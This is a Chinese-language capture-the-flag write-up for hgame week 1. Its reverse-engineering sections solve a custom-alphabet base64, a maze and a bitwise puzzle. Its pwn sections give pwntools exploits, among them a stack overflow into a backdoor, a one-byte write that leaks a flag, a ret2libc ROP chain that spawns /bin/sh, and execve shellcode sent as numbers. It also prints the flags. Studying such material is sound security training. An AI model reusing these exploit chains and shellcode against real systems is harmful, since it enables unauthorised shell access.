Hgame_week_1_re&pwn_wp

2020-02-11 约 1642 字 预计阅读 8 分钟

声明:本文 【Hgame_week_1_re&pwn_wp】 由作者 yangm**** 于 2020-02-11 08:56:58 首发 先知社区 曾经 浏览数 193 次

感谢 yangm**** 的辛苦付出!

0x01:前言

这里记录了hgame 第一周的re与 pwn 题解,希望能给大家带来帮助!

0x02:advance

首先将它拖入ida,

于是 我们可以通过 ida 中的 F12 功能键 去搜索 字符串,然后通过关键字符串去定位到main函数,从而 继续后面的分析

我们搜索到以下关键字符串(红框框住部分)

通过它们便可以定位到 main函数所在位置:

程序流程 为:

我们输入的字符串然后经过sub_140001EB0函数处理,处理后得到的字符串再与
“0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX” 做比较,相等的话就说明我们已经拿到 flag了!

我们进去 sub_140001EB0函数:

signed __int64 __fastcall sub_140001EB0(_BYTE *a1, __int64 a2, int a3)
{
  int v3; // er10
  __int64 v4; // rax
  __int64 v5; // rbx
  _BYTE *v6; // rdi
  _BYTE *v7; // r9
  signed __int64 v8; // r11
  unsigned __int64 v9; // rdx
  unsigned __int64 v10; // rax
  char v11; // cl

  v3 = 0;
  v4 = a3 - 2;
  v5 = a2;
  v6 = a1;
  v7 = a1;
  if ( v4 > 0 )
  {
    v8 = a2 + 1;
    v9 = ((unsigned __int64)((unsigned __int64)(v4 - 1) * (unsigned __int128)0xAAAAAAAAAAAAAAABui64 >> 64) >> 1) + 1;
    v3 = 3 * v9;
    do
    {
      v10 = *(unsigned __int8 *)(v8 - 1);
      v8 += 3i64;
      *v7 = aAbcdefghijklmn[v10 >> 2];
      v7[1] = aAbcdefghijklmn[((unsigned __int64)*(unsigned __int8 *)(v8 - 3) >> 4) | 16i64 * (*(_BYTE *)(v8 - 4) & 3)];
      v7[2] = aAbcdefghijklmn[4i64 * (*(_BYTE *)(v8 - 3) & 0xF) | ((unsigned __int64)*(unsigned __int8 *)(v8 - 2) >> 6)];
      v7[3] = aAbcdefghijklmn[*(_BYTE *)(v8 - 2) & 0x3F];
      v7 += 4;
      --v9;
    }
    while ( v9 );
  }
  if ( v3 < a3 )
  {
    *v7 = aAbcdefghijklmn[(unsigned __int64)*(unsigned __int8 *)(v3 + v5) >> 2];
    if ( v3 == a3 - 1 )
    {
      v11 = 61;
      v7[1] = aAbcdefghijklmn[16 * (*(_BYTE *)(v3 + v5) & 3)];
    }
    else
    {
      v7[1] = aAbcdefghijklmn[((unsigned __int64)*(unsigned __int8 *)(v5 + v3 + 1) >> 4) | 16i64
                                                                                         * (*(_BYTE *)(v3 + v5) & 3)];
      v11 = aAbcdefghijklmn[4 * (*(_BYTE *)(v5 + v3 + 1) & 0xF)];
    }
    v7[2] = v11;
    v7[3] = 61;
    v7 += 4;
  }
  *v7 = 0;
  return v7 - v6 + 1;
}

输 通过阅读代码很明显的 base64编码,将3个8位的字节(38)转化成4个6位的字节(46),
之后在6位的前面补两个0,形成8位一个字节的形式。 当然具体的base64编码实现可以在网上具体学习下

当然这里 并不是纯粹的base64 加密,正宗的base64 的加密table为” ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/” 这题将table给换成了 “abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ”

所以这题的 flag 可由 对 “0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX” 进行 魔改后的base64 进行解密。(在网上可找个 base 64 解密代码 将其 将其table给换了,即可。

flag为:

hgame{b45e6a_i5_50_eazy_6VVSQ}

0x03:maze


这题 其实是 re中经典的 迷宫类 题目,拖入ida:详细见注释中的分析

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // eax
  __int64 v4; // [rsp+0h] [rbp-80h]
  char *v5; // [rsp+8h] [rbp-78h]
  char s[48]; // [rsp+10h] [rbp-70h]
  char v7; // [rsp+40h] [rbp-40h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_4006A6(a1, a2, a3);
  __isoc99_scanf("%40s", s);
  HIDWORD(v4) = strlen(s);
  LODWORD(v4) = 0;
  v5 = (char *)&unk_6020C4;         //这里是我们要开始走的位置   char* 类型
  while ( (signed int)v4 < SHIDWORD(v4) )       //这里的while 循环去 逐位的判断 我们的 输入
  {
    v3 = s[(signed int)v4];
    if ( v3 == 'd' )            
    {
      v5 += 4;          // +4 既可以理解为  向 右 走 四位 ,即    d 代表 着  右移
    }
    else if ( v3 > 'd' )
    {
      if ( v3 == 's' )          
      {
        v5 += 64;       //+64   相当于   64/4=16 行  把地图看着 二维数组,即    s代表 着  下移
      }     //一般 像迷宫题,都是 正方形式 的 即  x*x 的方阵,在后面其实发现这题 仍然是。即 16*16 的方阵
      else
      {
        if ( v3 != 'w' )            //同理的话   w 代表着 上移
        {
LABEL_12:
          puts("Illegal input!");
          exit(0);
        }
        v5 -= 64;
      }
    }
    else
    {
      if ( v3 != 'a' )                       //同理的话   a 代表着 上移
        goto LABEL_12;
      v5 -= 4;
    }
    if ( v5 < (char *)&unk_602080 || v5 > (char *)&unk_60247C || *(_DWORD *)v5 & 1 )
      goto LABEL_22;     //这里我们可以确定整个地图是 以unk_602080处开始的,但我们是在unk_6020C4开始行走的
    LODWORD(v4) = v4 + 1;
  }
  if ( v5 == (char *)&unk_60243C )                   //地图结束地址
  {
    sprintf(&v7, "hgame{%s}", s, v4);
    puts("You win!");
    printf("Flag is: ");
    puts(&v7);
    exit(0);
  }
LABEL_22:
  puts("You died");
  exit(0);
}

即 首先我们将 地图 通过 IDC 脚本 跑出来:

关于 idc 脚本语言可以在网上看下这篇链接https://www.jianshu.com/p/366cd488cb24

以下是跑出来的结果

0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0

通过可以通过 python脚本将它们 排好 16*16,

#coding:utf8
v5=[0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0]
#print len(v5)
for i in range(len(v5)):
    if (i+1)%16==0:
        print v5[i]
    else:
        print v5[i],

阅读代码 我们可以得到 wasd 为 分别控制上左右下的 字符
从左上角的第一个 0 走到 右下角 得到 ssssddddddsssssddwwdddssssdssdd
最后 加上 hgame{} 即 flag :

hgame{ssssddddddsssssddwwdddssssdssdd}

0x04: bitwise_operation2


这道题 真的是 re里出的很好的一道题,
照常一下,拖入ida:,
先看第一部分,这里其实要求输入 39 个字符串,除去开始的 hgame{ 和最一个 }还剩32个

因为 v6,v7,v8,v9,v10,v11,v12,v13 在连续的,其实可以用数组V6[8] 去理解它们的

v6是 数组首地址,后面的 在数组中元素嘛

即 在这里我们知道了: V6= [76,60,214,54,80,136,32,204]

然后
我们进去看下 sub_400616()函数

可以知道 它其实是 将 一个字符串的每两个 字符 分别转化为 16进制数然后合成 一个 1个字符, 举个列子:

“4b” -> chr(0x4b) ->”K”

所以第一部分:将是相当于 我们输入的 32个字符串 前 16个字符经上面函数处理成 8个字符存在与 V14 中 ,后16个字符经上面函数处理成 8个字符存在与 V16 中,
然后下面有3 个 for 循环:

我们逆着来, 先分析 最后一个:

经过最后一个 for循环得到v16(代码中记录为 VV16) 应该为 "Easylif3"

而经过 第二个 for循环的到的 v14(代码中记录为 VV14) 应该为 “e4syRe

关于位运算这里 有个小规律:

从而我们写出 python 脚本 跑出 第一个 for循环 v16 应该为的 内容

#coding:utf8
v6=[76,60,214,54,80,136,32,204]
vv14='e4sy_Re_'
vv16="Easylif3"
v16=[]
v14=[]
for k in range(8):
    v16.append(ord(vv14[k])^(v6[k])^ord(vv16[k]))
print v16#[108, 105, 214, 54, 99, 179, 35, 160]

然后看 第二个 for循环:
这个更简单些,我们可以 很容易得到 第一个 for循环 v16 应该为的 内容

for j in range(8):
    v14.append(ord(vv14[j])^(v6[j]))
print v14#[41, 8, 165, 79, 15, 218, 69, 147]

最后 我们看第一个 for循环:

我们相应着 将这个for循环中的 四个 表达式 倒着再循环过来即可,注意要记得将第一个 表达式的 >>5 变成<< 5 8** 变成 >>3

哦哦,这里要注意下 关于在ida 中并不是所有 反编译 都是完全 正确的,我们查看汇编 发现 **8 其实就是 <<3

for i in range(8):
    v14[i] = v14[i]&0x55 ^ (v16[7-i]&0xAA)>>1 | v14[i]&0xAA
    v16[7-i]=(v14[i]&0x55)<<1 ^ v16[7-i]&0xAA | v16[7-i]&0x55
    v14[i]=v14[i]&0x55^(v16[7-i]&0xAA)>>1 | v14[i] &0xAA
    v14[i]=v14[i]&0xE0<<5 | v14[i]>>3
# print v14
# print v16

for i in range(8):
    v14[i]=hex(v14[i])
    v16[i]=hex(v16[i])
print v14
print v16

得到结果:

V14:['0xf', '0x3', '0x1e', '0x3', '0x3', '0x19', '0x2', '0x12']
V16:['0x66', '0xcb', '0xf4', '0x1e', '0xcb', '0x1b', '0x1', '0x2']

而根据我们前面的分析 我们输入的字符串 就是 “hgame{“ +v14+v16+}

即 # hgame{ 0f233e63637982d266cbf41ecb1b0102 }

0x05 Hard_AAAAA


首先用file命令 检查下 文件属性:

file Hard_AAAAA
Hard_AAAAA: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, 
BuildID[sha1]=5c5c4e8b21a1b4ef48330e486d89a5064da74169, not stripped

然后用checksec 命令查看下 该程序开启了什么保护。

checksec Hard_AAAAA
[*] 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found         //开启了 Canary 保护
    NX:       NX enabled
PIE:      No PIE (0x8048000)

于是拖入 ida(32):

这道题很简单,再将之前我们 得去 详细了解下 memcmp函数 (比较内存块大小的函数):
这个很关键:

int memcmp ( const void * ptr1, const void * ptr2, size_t num );
//ptr1 ,ptr2 是指向内存块得指针
//num 是要比较得字节数

将ptr1指向的内存块的第一个num字节与ptr2指向的第一个num字节进行比较,
如果它们都匹配,则返回零;
如果不匹配,且ptr1中的值 比 ptr2 中的值 小 返回 <0 的 int 值
如果不匹配,且ptr1中的值 比 ptr2 中的值 大 返回 >0 的 int 值
请注意,与strcmp不同,该函数在找到空字符后不会停止比较。

给个 demo:

#include <stdio.h>
#include <string.h>
int main ()
{
  char zise_1[] = "zise_yangwang";
  char zise_2[] = "zise_YangWang";
  int n;
  n=memcmp ( zise_1, zise_2, sizeof(zise_1) );

  if (n>0) printf ("'%s' is greater than '%s'.\n",zise_1,zise_2);
  else if (n<0) printf ("'%s' is less than '%s'.\n",zise_1,zise_2);
  else printf ("'%s' is the same as '%s'.\n",zise_1,zise_2);

  return 0;
}

运行结果:

'zise_yangwang' is greater than 'zise_YangWang'.

因为 y(121)>Y(89)

或许,在这之前很多人 在看到第3个参数 7 的时候 就很懵,不应该是 4 嘛,所以,现在看完上面的 知识 就能很明白了,

所以 这题, 的关键 判断 就是要 求 v5的所在内存块中 前 7字节的内容 与 "0O0o"

所在内存块中 前 7字节的内容 相等。即可触发 后门函数, 从而 pwn 掉程序

!memcmp("0O0o", &v5, 7u)

我们通过 动态调试 ,参数arg0 是 第一个参数 地址 arg1 是我们构造的第二个参数 , arg2 是 7

我们通过 命令 x/10x 0x80486e0 得到 前七个 字节内容是 "0O0o"+'\x00'+'O0'

所以 写 exp:

#coding:utf-8
from pwn import *
context.log_level='debug'
io = process("./Hard_AAAAA")
io = remote('47.103.214.163',20000)
payload = 'a'*(0xAC-0x31)+"0O0o"+'\x00'+'O0'        
#payload += p64(get_flag_addr)  #将EIP劫持到get_flag_addr
io.recvuntil("Let's 0O0o\\0O0!")
#gdb.attach(io,'b *0x08048605')
#pause()
io.sendline(payload)    
io.interactive()#hgame{0OoO0oo0O0Oo}

0x06 One_Shot


首先用file命令 检查下 文件属性:

file One_Shot

One_Shot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, 
BuildID[sha1]=68e45f253cdc8253dce50c56a1eed3f9708d1fae, not stripped

然后用checksec 命令查看下 该程序开启了什么保护。

checksec One_Shot
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

拖入ida:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v4; // [rsp+8h] [rbp-18h]
  int fd[2]; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = 0LL;
  *(_QWORD *)fd = open("./flag", 0, envp);
  setbuf(stdout, 0LL);
  read(fd[0], &flag, 30uLL);
  puts("Firstly....What's your name?");
  __isoc99_scanf("%32s", &name);
  puts("The thing that could change the world might be a Byte!");
  puts("Take tne only one shot!");
  __isoc99_scanf("%d", &v4);
  *v4 = 1;
  puts("A success?");
  printf("Goodbye,%s", &name);
  return 0;
}

这里的话 我们 可以知道 该程序读取了 flag 存在在 bss段中,同时name
也存在了栈中,并且它们 相邻, 如果我们把name最后的 结束符\x00 给 换成 1 的话

那么,输出 name将会 顺带着把flag给输出 出来,所以这里 我们 首先输入32

字节大小填满 name,然后将 flag所在bss段中地址 0x6010E0 以十进制即6295776 发送即可实现!

所以 exp:

#coding:utf-8
from pwn import *
context.log_level='debug'
io = process("./One_Shot")
io = remote('47.103.214.163',20002)

io.recvuntil("Firstly....What's your name?")
payload = 'a'*32
io.sendline(payload)    
io.recvuntil("Take tne only one shot!")
payload2="6295776"


#gdb.attach(io)
#pause()    
io.send(payload2)


io.interactive()

得到 flag:hgame{On3_Sh0t_0ne_Fl4g}

0x07:ROP_LEVEL0

我们把它 拖入 ida 发现 其实 源码还是很简单的

我们把我们文件./some_life_experience的 内容 输出,然后我们再最多read 到buf 0x100字节!

这里的漏洞在 最后的read (0,&buf,0x100),存在栈溢出漏洞!

这题没有 system 和/bin/sh 字符后,所以 我这里 是 利用 puts 函数泄露libc

然后最后使用libc中的 system 和 /bin/sh 字符 getshell。

Exp:

#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
io = process("./ROP_LEVEL0")
elf=ELF("./ROP_LEVEL0")
#io = remote('47.103.214.163',20002)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main'] # 载入的libc_main函数的地址。
main_addr = elf.symbols['main']
pop_rdi_addr=0x400753
print hex(puts_plt)
print hex(puts_got) #0x601018
print hex(libc_start_main_got)
print hex(main_addr)    #0x40065b
print hex(pop_rdi_addr) #0x400753               #ROPgadget --binary ROP_LEVEL0 --only 'pop|ret'

payload='a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

io.sendlineafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag",payload)
io.recv()

puts_addr=u64(io.recv(6).ljust(8,"\x00"))
print hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
binsh_addr = libc_base + libc.dump('str_bin_sh')
p.sendlineafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag','a'*(0x50+8)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))
io.interactive()

从而得到:

经过尝试 确定 libc6_2.23-0ubuntu10_amd64 符合 要求:
我们在 这个网站上 可查到 libc中的 每个函数的 偏移地址:

于是最后的 exp:

#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
io = process("./ROP_LEVEL0")
elf=ELF("./ROP_LEVEL0")
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")
io = remote('47.103.214.163',20003)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main'] # 载入的libc_main函数的地址。
main_addr = elf.symbols['main']
pop_rdi_addr=0x400753
print hex(puts_plt)
print hex(puts_got) #0x601018
print hex(libc_start_main_got)
print hex(main_addr)    #0x40065b
print hex(pop_rdi_addr) #0x400753   #ROPgadget --binary ROP_LEVEL0 --only 'pop|ret'

payload='a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

io.sendlineafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag",payload)
io.recv()

puts_addr=u64(io.recv(6).ljust(8,"\x00"))
print hex(puts_addr)

#libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - 0x06f690#libc.symbols['puts']

system_addr = libc_base + 0x045390#libc.symbols('system')

libc_binsh=next(libc.search("/bin/sh"))
binsh_addr = libc_base + libc_binsh

io.sendlineafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag','a'*(0x50+8)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))

io.interactive()

得到 flag:

hgame{R0P_1s_H4cK3rs'_RoM4nC3}

0x08:Number_Killer

最后一道 pwn:
直接 丢ida 里,

我们可以看到 我们循环调用 20 次 readll 函数
我们 进入 readll 看下:

我们可以理解为这个函数 它将我们输入的 8个字符类型的数据 转化 成 long long int数据了,

这个 atoll函数 可具体参考这里:http://www.cplusplus.com/reference/cstdlib/atoll/
功能:解析C字符串str,将其内容解释为整数,并将其作为type的值返回long long int。

;另外 我们 注意看 main 函数 v4数组 在栈中 据 rbp的距离 为 0x60

然后除此之外还要注意 在 rbp-0x4 处还有个i ,在当我们覆盖的时候要不能影响它,因为这个i 会被其他地方调用 ,导致 一些奇怪的事情,最后的进行rop的话还要注意 atoll函数 返回类型 是long long int。最大范围是 0x7fffffff ffffffff 最后的shellcode 要用 nop 调整下,不然 会返回 负 1 影响shellcode 功能!

于是 exp:

from pwn import *
p = process("./Number_Killer")
#p = remote('47.103.214.163',20001)
context.log_level = 'info'
context.arch ='amd64'
p.recvuntil("Let's Pwn me with numbers!\n")

def sendNumber(num):
    p.sendline(str(num))
    sleep(0.1)

for i in range(11):
    sendNumber(1)


sendNumber(0xc00000000)         #idx
#gdb.attach(p)
#pause()
sendNumber(0x00000000040078d)   #ret_addr

shellcode =  "\x90\x90\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";                                     
shellcode = shellcode.ljust(0x30,'\x00')
print(len(shellcode))
for i in range(6):
    sh = shellcode[8*i:8*i+8]
    num = u64(sh)
    print(hex(num))
    sendNumber(num)
p.interactive()

得到 flag:

hgame{Ea2y_2hel1c0de_1n_St4ck}

0x09:特殊时期,出门记得戴口罩哦!

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now